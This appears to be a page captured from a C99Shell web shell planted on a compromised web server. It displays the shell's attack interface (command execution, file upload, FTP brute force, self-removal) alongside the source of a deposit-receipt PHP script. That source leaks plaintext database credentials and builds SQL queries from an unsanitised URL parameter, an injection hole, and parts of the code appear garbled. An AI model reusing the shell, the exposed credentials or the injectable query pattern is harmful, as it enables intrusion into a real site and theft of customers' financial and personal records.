!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/studentlogin/   drwxr-xr-x
Free 30.76 GB of 49.93 GB (61.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     createreceipt.php (15.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('session.php');
?>
<?php 
include ('receipt2.php'); ?>
<?php 
include ('installment.php'); ?>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title> Receipt</title>

<style type="text/css" media="print">
    @page 
    {
        size: auto;   /* auto is the initial value */
        margin: 10mm;  /* this affects the margin in the printer settings */
    }
    @media print {
    #Header, #Footer { display: none !important; }
}
</style>
<style type="text/css">
body {
    background-color: #F93;
}
body,td,th {
    color: #000;
}
</style>
 <style type="text/css">
table { 
  width: 100%; 
  border-collapse: collapse; 
}
/* Zebra striping */
tr:nth-of-type(odd) { 
  background: #eee; 
}
th { 
  background: #333; 
  color: white; 
  font-weight: bold; 
}
td, th { 
  padding: 6px; 
  border: 0px solid #ccc; 
  text-align: left; 
}

</style>
<style type="text/css">
.form-style-3{
    max-width: 450px;
    font-family: "Lucida Sans Unicode", "Lucida Grande", sans-serif;
}
.form-style-3 label{
    display:block;
    margin-bottom: 10px;
}
.form-style-3 label > span{
    float: left;
    width: 100px;
    color: #F072A9;
    font-weight: bold;
    font-size: 13px;
    text-shadow: 1px 1px 1px #fff;
}
.form-style-3 fieldset{
    border-radius: 10px;
    -webkit-border-radius: 10px;
    -moz-border-radius: 10px;
    margin: 0px 0px 10px 0px;
    border: 1px solid #FFD2D2;
    padding: 20px;
    background: #FFF4F4;
    box-shadow: inset 0px 0px 15px #FFE5E5;
    -moz-box-shadow: inset 0px 0px 15px #FFE5E5;
    -webkit-box-shadow: inset 0px 0px 15px #FFE5E5;
}
.form-style-3 fieldset legend{
    color: #FFA0C9;
    border-top: 1px solid #FFD2D2;
    border-left: 1px solid #FFD2D2;
    border-right: 1px solid #FFD2D2;
    border-radius: 5px 5px 0px 0px;
    -webkit-border-radius: 5px 5px 0px 0px;
    -moz-border-radius: 5px 5px 0px 0px;
    background: #FFF4F4;
    padding: 0px 8px 3px 8px;
    box-shadow: -0px -1px 2px #F1F1F1;
    -moz-box-shadow:-0px -1px 2px #F1F1F1;
    -webkit-box-shadow:-0px -1px 2px #F1F1F1;
    font-weight: normal;
    font-size: 12px;
}
.form-style-3 textarea{
    
    
    
    
    
    
    
    
    
    
    
    width:250px;
    height:100px;
}
.form-style-3 input[type=text],
.form-style-3 input[type=date],
.form-style-3 input[type=datetime],
.form-style-3 input[type=number],
.form-style-3 input[type=search],
.form-style-3 input[type=time],
.form-style-3 input[type=url],
.form-style-3 input[type=email],
.form-style-3 select, 
.form-style-3 textarea{
    border-radius: 3px;
    -webkit-border-radius: 3px;
    -moz-border-radius: 3px;
    border: 1px solid #FFC2DC;
    outline: none;
    color: #F072A9;
    padding: 5px 8px 5px 8px;
    box-shadow: inset 1px 1px 4px #FFD5E7;
    -moz-box-shadow: inset 1px 1px 4px #FFD5E7;
    -webkit-box-shadow: inset 1px 1px 4px #FFD5E7;
    background: #FFEFF6;
    width:50%;
}
.form-style-3  input[type=submit],
.form-style-3  input[type=button]{
    background: #EB3B88;
    border: 1px solid #C94A81;
    padding: 5px 15px 5px 15px;
    color: #FFCBE2;
    box-shadow: inset -1px -1px 3px #FF62A7;
    -moz-box-shadow: inset -1px -1px 3px #FF62A7;
    -webkit-box-shadow: inset -1px -1px 3px #FF62A7;
    border-radius: 3px;
    border-radius: 3px;
    -webkit-border-radius: 3px;
    -moz-border-radius: 3px;    
    font-weight: bold;
}
.required{
    color:red;
    font-weight:normal;
}
</style>
</head>
<CENTER>
<body>
<table width="100%" border="0" bgcolor="#FFFFFF">
 <tr>
   <td ><?php include('header.php'); ?></td>
   
 </tr>
 <tr>
   <td colspan="2" bgcolor="#999999"><?php include('menubar.php'); ?></td>
 </tr>
  <tr>
    <td colspan="2" bgcolor="#999999"><table width="973" border="0">
  <tr>
    <td width="522" align="left">Welcome <?php echo $user ?></td>
    <td width="293" align="left"><a href="logout.php">Logout</a></td>
    <td width="59" align="left"><?php echo "Today is " date("d/m/y") . "<br>";?></td>
    <td width="81" align="left">&nbsp;</td>
  </tr>
</table>
</td>
  </tr>
  <tr>
    <td colspan="2"><table  width="976" border="0">
      <tr>
        <td align="left" bgcolor="#999999"><form action="" method="get" name="form">
          Enter Account No :
           
           <?php
// Create connection
$con=mysqli_connect("localhost","sarkmicr_user","rb!sar838","sarkmicr_data");

    
// Check connection
    
if (mysqli_connect_errno())

// Check connection
if (mysqli_connect_errno())
  {
  echo 
"Failed to connect to MySQL: " mysqli_connect_error();
  } else {
    echo 
"We are connected.";
    }

    
$result mysqli_query($con,"SELECT DISTINCT acc_no FROM  new_acc WHERE plan_name like  \"RD\" ");

?> 
      <select name="q"   id="q" >
  <?
    
while($row mysqli_fetch_array($result))
    {
      echo 
"<option value='" $row['acc_no'] . "'>" $row['acc_no'] . "</option>";
    }
  
?>
  </select>
        <input type="submit" name="Submit" value="Search" />
        </form></td>
        </tr>
      <tr>
        <td bgcolor="#FFFFFF">
          </td>
        </tr>
  </table>
  <?php   $cdate=date(d); ?>
   <?php   $cmonth=date(m); ?>
    <?php   $cyear=date(Y); ?>
  
      <form action="print.php" method="post">
        <?php

  
// Get the search variable from URL

  
$var = @$_GET['q'] ;
  
$trimmed trim($var); //trim whitespace from the stored variable

// rows to return
$limit=10

// check for an empty string and display a message.
if ($trimmed == "")
  {
  
  exit;
  }

// check for a search parameter
if (!isset($var))
  {
  echo 
"<p>We dont seem to have a search parameter!</p>";
  exit;
  }

mysql_connect("localhost","sarkmicr_user","rb!sar838"); //(host, username, password)

//specify database ** EDIT REQUIRED HERE **
mysql_select_db("sarkmicr_data") or die("Unable to select database"); //select which database we're using


$field 'acc_no';
// Build SQL Query  
$query "select  *  from create_receipt where $field like \"$trimmed\"  
order by ID "
// EDIT HERE and specify your table and field names for the SQL query

$numresults=mysql_query($query);
$numrows=mysql_num_rows($numresults);

// If we have no results, offer a google search as an alternative

if ($numrows == 0)
  {
  
  echo 
"   Sorry,  $trimmed   this  Number is not found";


  }

// next determine if s has been passed to script, if not use 0
  
if (empty($s)) {
  
$s=0;
  }

// get results
  
$query .= " limit $s,$limit";
  
$result mysql_query($query) or die("Couldn't execute query");


// begin to show results set

$count $s ;

// now you can display the results returned
  
while ($rowmysql_fetch_array($result))
   {
  
$totoalamounpaid=$row['amount']+$totoalamounpaid;

$assamount$assamount;
$receiptno=$row['noofinstallment']; 

$accname=$row['cname'].$row['cmidname'].$row['csurname']; 
$accno=$row['acc_no'];
$user=$user
$uudate=$row['njdate'];
$uuyear=$row['njyear'];
$uumonth=$row['njmonth'];
$pname=$row['planname'];
$ptime=$row['plantime'];


if(
$uumonth==12)
{
    
$uuyear=$uuyear+1;
    
$uumonth=1;
}
else
{
    
$uumonth=$uumonth+1;
}

$nintdate="$uudate/$uumonth/$uuyear
$nnjdate=$uudate
$nnjmonth=$uumonth
$nnjyear=$uuyear

$address="'" .($row['address'].' '.$row['village'].' '.$row['post'].' '.$row['distt'].' '.$row['state'].' '.$row['pin']). "'"
$agentcode=$row['agentcode']; 
$depositname=$row['depositby']; 
$intdate=($row['jdate'].'/'.$row['jmonth'].'/'.$row['jyear']); 
$amount=$row['amount']; 
$amountrs="'" .$row['amountrups']. "'" ;
$noofinst='$instnewo'
$holdername=$row['accountholder'].' ' .$row['cname'].' ' .$row['cmidname'].' ' .$row['csurname'];
$accountno=$row['acc_no'];
$fname=$row['fname'];

  
$count++ ;
  }

$currPage = (($s/$limit) + 1);

//break before paging
  
echo "";

  
// next we need to do the links to other results
  
if ($s>=1) { // bypass PREV link if s is 0
  
$prevs=($s-$limit);
  print 
"<a href=\"$PHP_SELF?s=$prevs&q=$var\">&lt;&lt; 
  Prev 10</a>&nbsp"
;
  }

// calculate number of pages needing links
  
$pages=intval($numrows/$limit);

// $pages now contains int of pages needed unless there is a remainder from division
$receiptno=$receiptno+1;
 
?>

<table  align="left" width="800" border="0" bgcolor="#33CCFF" > 


<tr>
<td width="490" align="left">Receipt No</td>
<td colspan="4" align="left">
<input type="hidden" name="assamount" id="assamount" bgcolor="red" readonly="readonly" value="<?php echo $assamount ?>" />
       <input type="text" name="receiptno" id="receiptno" bgcolor="#FF3300" readonly="readonly" value=<?php echo $receiptnew ?> align="left"/></td>
       
      

<td align="left">Account Holder Name</td>
<td colspan="4" align="left"><input type="text" size="50" name="namet" id="date" accesskey="2" tabindex="2" value="<?php echo $holdername ?> "</td>
</tr>

<tr>
<td align="left">Father Name</td>
<td colspan="4" align="left"><input type="text" size="50" name="fname" id="date" accesskey="2" tabindex="2" value="<?php echo $fname ?> "</td>


<td align="left">Account </td>
         <td colspan="4" align="left"><input type="text" name="acname" id="date" accesskey="2" tabindex="2" value=<?php echo $accountno ?> /></td>
       </tr>
       
       
       <tr>
 <td align="left">Branch Name</td>
         <td colspan="4" align="left"><input type="text"  readonly="readonly" name="branchname" id="branchname" accesskey="3"  value=<?php echo $user ?> /> </td>
                <td align="left">Renewal Date</td>
         <td colspan="4" align="left"><input type="text" name="nintdate" id="nintdate" accesskey="3" value=<?php echo $nintdate ?> /> </td>
       </tr>

<tr>
<td colspan="4" align="left"><input type="hidden" name="nnjdate" id="nnjdate" accesskey="3" value= <?php echo "$uudate"  ?> /> </td>
<td colspan="4" align="left"><input type="hidden" name="nnjmonth" id="nnjmonth" accesskey="3" value= <?php echo "$uumonth"  ?> /> </td>
<td width="17" colspan="4" align="left"><input type="hidden" name="nnjyear" id="nnjyear" accesskey="3" value=<?php echo "$uuyear?>  /> </td></tr>





           <tr>
         <td align="left">Address</td>
         <td colspan="4" align="left"><input type="text" name="address"size="50" id="address" accesskey="7" tabindex="7" value=<?php echo $address ?> /></td>
         <td align="left">Emplopyee Code</td>
         <td colspan="4" align="left"><input type="text" name="agentcode" id="amount" accesskey="7" tabindex="7" value=<?php echo $agentcode ?> ></td>
       </tr>
       
       <tr>
         <td align="left">Plan Name</td>
         <td colspan="4" align="left"><input type="text" name="planname" id="plantime" accesskey="7" tabindex="7" value=<?php echo $pname ?> ></td>
          <td align="left">Plan Time</td>
         <td colspan="4" align="left"><input type="text" name="plantime" id="plantime" accesskey="7" tabindex="7" value=<?php echo $ptime ?> ></td>
       </tr>



           <tr>
         <td align="left">Deposit By</td>
         <td colspan="4" align="left"><input type="text" name="depositby" id="depositby" accesskey="7" tabindex="7" value=<?php echo $depositname ?> ></td>
         <td align="left">Registration Date</td>
         <td colspan="4" align="left"><input type="text" name="intdate" id="intdate" accesskey="8" tabindex="8" value=<?php echo$intdate ?> </td>
       </tr>
       
       <tr>
         <td>Total Paid Amount</td>
         <td colspan="4"><input name="totalpaidamount" type="text" value= "<?php echo $totoalamounpaid ?>"/></td>
          <td align="left">Amount(Rs)</td>
         <td colspan="4" align="left"><input type="text" name="amount" id="amount" accesskey="7" tabindex="7"  value=<?php echo $amount?> required="required"/> </td>
       </tr>
       
        <tr>
         <td align="left">Amount In Rupees(Rs)</td>
         <td colspan="4" align="left"><input type="text" name="amountrs" id="amountrs" accesskey="7" tabindex="7" required="required" value=<?php echo $amountrs ?> /></td>
       <td align="left">No of Installment</td>
         <td colspan="4" align="left"><input type="text" name="noofinst" id="noofinst" accesskey="8" tabindex="6" value=<?php echo $receiptno  ?> /></td>
       </tr> 

<tr>
         <td align="left">Create Reciept Date</td>
         <td colspan="4" align="left"><select name="jdate" size="1" id="da">
            <option><?php echo  $cdate ?></option>
            <option>01</option>
            <option>02</option>
            <option>03</option>
            <option>04</option>
            <option>05</option>
            <option>06</option>
            <option>07</option>
            <option>08</option>
            <option>09</option>
            <option>10</option>
            <option>11</option>
            <option>12</option>
            <option>13</option>
            <option>14</option>
            <option>15</option>
            <option>16</option>
            <option>17</option>
            <option>18</option>
            <option>19</option>
            <option>20</option>
            <option>21</option>
            <option>22</option>
            <option>23</option>
            <option>24</option>
            <option>25</option>
            <option>26</option>
            <option>27</option>
            <option>28</option>
            <option>29</option>
            <option>30</option>
            <option>31</option>
            </select>
            <select name="jmonth" align="left" id="jmonth">
            <option><?php echo $cmonth ?></option>
              <option value="1">1</option>
              <option value="2">2</option>
              <option value="3">3</option>
              <option value="4">4</option>
              <option value="5">5</option>
              <option value="6">6</option>
              <option value="7">7</option>
              <option value="8">8</option>
              <option value="9">9</option>
              <option value="10">10</option>
              <option value="11">11</option>
              <option value="12">12</option>
              </select>
            <select name="jyear" align="left" id="jyear">
            <option><?php echo $cyear ?></option>
              <option>2014</option>
              <option>2015</option>
              <option>2016</option>
              <option>2017</option>
              <option>2018</option>
              <option>2019</option>
              <option>2020</option>
            </select></td>
       </tr>
       
       <tr>
         <td align="left">Mode of Payment</td>
         <td colspan="4" align="left"><select name="mpayment" size="1" id="mpayment" accesskey="4" tabindex="4">
           <option>Cash</option>
           <option>Cheque</option>
         </select></td>
      
         <td>&nbsp;</td>
         <td width="232" align="left">Cheque No</td>
         <td width="210" align="left"><input type="text" name="chequeno" id="chequeno" accesskey="5" tabindex="5"  /></td>
         <td width="199" align="left">Bank Name</td>
         <td width="877" align="left"><input type="text" name="bankno" id="bankno" accesskey="6" tabindex="6" /></td>

       </tr>
       </table>
        </div>
        
      
      </td>
  </tr>
  <td><input name="Submit" type="Submit"  value="Add"/>
        
        </form> </td>
  <tr>
    <td colspan="2"><?php include('footer.php'); ?></td>
  </tr>
</table>


<table width="300" border="0" cellspacing="10" cellpadding="10">
  <tr>
 
    <td><form action=""><input type="button" value="New" onclick="window.location.href='createreceipt.php';"/> </form> </td><form action="">
         <td><input type="button"  name="printbutton" value="Print Receipt" onclick="return print1('print2')"/></form></td>
    
  </tr>
</table>


      
      
 

</body></center>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0022 ]--